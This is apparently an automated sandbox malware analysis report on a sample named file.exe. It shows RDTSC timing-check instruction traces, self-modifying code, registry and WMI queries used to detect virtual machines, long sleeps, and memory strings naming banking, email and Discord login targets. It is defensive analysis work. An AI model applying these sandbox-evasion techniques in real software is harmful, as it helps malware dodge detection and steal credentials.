Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D09B8 second address: 52D0A05 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72A0D3A7FFh 0x00000008 pushfd 0x00000009 jmp 00007F72A0D3A808h 0x0000000e add esi, 7DAABF98h 0x00000014 jmp 00007F72A0D3A7FBh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d cmp dword ptr [75AB459Ch], 05h 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A05 second address: 52D0A09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A09 second address: 52D0A0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A0F second address: 52D0A15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A61 second address: 52D0A65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A65 second address: 52D0A69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A69 second address: 52D0A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0A6F second address: 52D0ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F72A05280EFh 0x00000008 pop eax 0x00000009 pushfd 0x0000000a jmp 00007F72A05280F9h 0x0000000f sub si, C156h 0x00000014 jmp 00007F72A05280F1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d call 00007F72A05280E9h 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F72A05280EDh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0ACE second address: 52D0AD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0AD4 second address: 52D0AD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0AD8 second address: 52D0ADC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0ADC second address: 52D0AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0AED second address: 52D0B1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F72A0D3A7FBh 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0B1A second address: 52D0B2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0B2D second address: 52D0B33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0B33 second address: 52D0B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C11 second address: 52D0C17 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C17 second address: 52D0C29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test al, al 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C29 second address: 52D0C2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C2D second address: 52D0C3E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280EDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C3E second address: 52D0C44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C44 second address: 52D0C48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C48 second address: 52D0C90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F73114AE52Bh 0x0000000e pushad 0x0000000f mov di, F008h 0x00000013 pushfd 0x00000014 jmp 00007F72A0D3A801h 0x00000019 and al, 00000076h 0x0000001c jmp 00007F72A0D3A801h 0x00000021 popfd 0x00000022 popad 0x00000023 cmp dword ptr [ebp+08h], 00002000h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C90 second address: 52D0C94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52D0C94 second address: 52D0C9A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E09A4 second address: 52E09AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E09AA second address: 52E09BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A0D3A7FDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E09BB second address: 52E09F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007F72A05280EAh 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007F72A05280F0h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F72A05280EAh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E09F1 second address: 52E0A00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0A00 second address: 52E0A12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0A12 second address: 52E0A16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0A16 second address: 52E0A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0A1C second address: 52E0AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A800h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F72A0D3A800h 0x00000011 mov esi, dword ptr [ebp+0Ch] 0x00000014 jmp 00007F72A0D3A800h 0x00000019 test esi, esi 0x0000001b jmp 00007F72A0D3A800h 0x00000020 je 00007F73114A8145h 0x00000026 jmp 00007F72A0D3A800h 0x0000002b cmp dword ptr [75AB459Ch], 05h 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 mov cx, dx 0x00000038 call 00007F72A0D3A809h 0x0000003d pop eax 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0AA6 second address: 52E0AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0AAC second address: 52E0AB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0AB0 second address: 52E0AE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F7310CADAC5h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F72A05280F1h 0x00000016 jmp 00007F72A05280F0h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0AE3 second address: 52E0AE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0AE9 second address: 52E0AED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0AED second address: 52E0B2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F72A0D3A804h 0x00000010 or cx, E6E8h 0x00000015 jmp 00007F72A0D3A7FBh 0x0000001a popfd 0x0000001b movzx esi, dx 0x0000001e popad 0x0000001f mov dword ptr [esp], esi 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov edx, ecx 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0BA6 second address: 52E0C0B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b call 00007F72A05280F7h 0x00000010 pushfd 0x00000011 jmp 00007F72A05280F8h 0x00000016 or si, A528h 0x0000001b jmp 00007F72A05280EBh 0x00000020 popfd 0x00000021 pop eax 0x00000022 mov bx, E16Ch 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0C0B second address: 52E0C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0C0F second address: 52E0C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52E0C46 second address: 52E0C7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F72A0D3A803h 0x0000000a or cx, A92Eh 0x0000000f jmp 00007F72A0D3A809h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 660E298 second address: 660E2A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72A05280EBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67748F5 second address: 677491F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A0D3A7FFh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F72A0D3A801h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677491F second address: 6774938 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72A05280F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677EC08 second address: 677EC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F72A0D3A802h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677EE94 second address: 677EE98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677EE98 second address: 677EEA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677EEA3 second address: 677EEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 677EEA8 second address: 677EEAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780E42 second address: 6780E48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780E48 second address: 6780E4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780E4D second address: 6780EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 03795E3Bh 0x00000010 mov dword ptr [ebp+122D300Fh], edx 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push eax 0x0000001b call 00007F72A05280E8h 0x00000020 pop eax 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc eax 0x0000002e push eax 0x0000002f ret 0x00000030 pop eax 0x00000031 ret 0x00000032 push 00000000h 0x00000034 push 00000003h 0x00000036 jmp 00007F72A05280EDh 0x0000003b push BEE2B6C5h 0x00000040 pushad 0x00000041 pushad 0x00000042 pushad 0x00000043 popad 0x00000044 push ebx 0x00000045 pop ebx 0x00000046 popad 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780F75 second address: 6780F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780F79 second address: 6780F9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push edx 0x0000000b mov esi, dword ptr [ebp+122D2EE7h] 0x00000011 pop ecx 0x00000012 push 00000000h 0x00000014 and di, A8F2h 0x00000019 push 8AC396DFh 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780F9C second address: 6780FA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6780FA0 second address: 678102B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F72A05280F6h 0x0000000c pop edi 0x0000000d popad 0x0000000e add dword ptr [esp], 753C69A1h 0x00000015 push 00000000h 0x00000017 push ebp 0x00000018 call 00007F72A05280E8h 0x0000001d pop ebp 0x0000001e mov dword ptr [esp+04h], ebp 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc ebp 0x0000002b push ebp 0x0000002c ret 0x0000002d pop ebp 0x0000002e ret 0x0000002f push 00000003h 0x00000031 push 00000000h 0x00000033 push 00000003h 0x00000035 mov dx, cx 0x00000038 push 90B2D2F2h 0x0000003d jns 00007F72A05280F2h 0x00000043 add dword ptr [esp], 2F4D2D0Eh 0x0000004a lea ebx, dword ptr [ebp+12446D26h] 0x00000050 xchg eax, ebx 0x00000051 push ebx 0x00000052 pushad 0x00000053 jmp 00007F72A05280F2h 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 678102B second address: 6781040 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007F72A0D3A7FCh 0x0000000f jp 00007F72A0D3A7F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6781103 second address: 67811EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F72A05280EBh 0x00000008 jmp 00007F72A05280F1h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 7A7268F3h 0x00000017 push 00000000h 0x00000019 push ebp 0x0000001a call 00007F72A05280E8h 0x0000001f pop ebp 0x00000020 mov dword ptr [esp+04h], ebp 0x00000024 add dword ptr [esp+04h], 00000017h 0x0000002c inc ebp 0x0000002d push ebp 0x0000002e ret 0x0000002f pop ebp 0x00000030 ret 0x00000031 push 00000003h 0x00000033 jmp 00007F72A05280F3h 0x00000038 push 00000000h 0x0000003a jmp 00007F72A05280F8h 0x0000003f push 00000003h 0x00000041 mov dword ptr [ebp+122D36C6h], eax 0x00000047 ja 00007F72A05280F3h 0x0000004d call 00007F72A05280E9h 0x00000052 push edi 0x00000053 jnc 00007F72A05280ECh 0x00000059 pop edi 0x0000005a push eax 0x0000005b jmp 00007F72A05280F1h 0x00000060 mov eax, dword ptr [esp+04h] 0x00000064 jc 00007F72A05280EEh 0x0000006a push edx 0x0000006b js 00007F72A05280E6h 0x00000071 pop edx 0x00000072 mov eax, dword ptr [eax] 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F72A05280F6h 0x0000007d rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 608E39 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 608F1B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7C38BC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 842463 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 660DA7B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 67D596E instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 660DA93 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 68479E6 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 4_2_06610637 rdtsc

4_2_06610637

Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 987	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1190	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1247	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1195	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1214	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1169	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1226	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window / User API: threadDelayed 1238	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 7796	Thread sleep time: -1974987s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7788	Thread sleep time: -2381190s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7868	Thread sleep time: -44000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7892	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7780	Thread sleep time: -2495247s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7784	Thread sleep time: -2391195s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7768	Thread sleep time: -2429214s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7772	Thread sleep time: -2339169s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7792	Thread sleep time: -2453226s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7776	Thread sleep time: -2477238s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000004.00000002.1951230326.0000000006788000.00000040.00000800.00020000.00000000.sdmp, file.exe, 00000004.00000002.1939955441.0000000000793000.00000040.00000001.01000000.00000004.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: file.exe, 00000004.00000002.1941280575.00000000014A0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1614564165.000000000149C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000004.00000003.1939549075.000000000149F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: file.exe, 00000004.00000003.1614964995.0000000005C56000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: file.exe, 00000004.00000002.1940919747.000000000143E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: file.exe, 00000004.00000003.1615028780.0000000005C49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
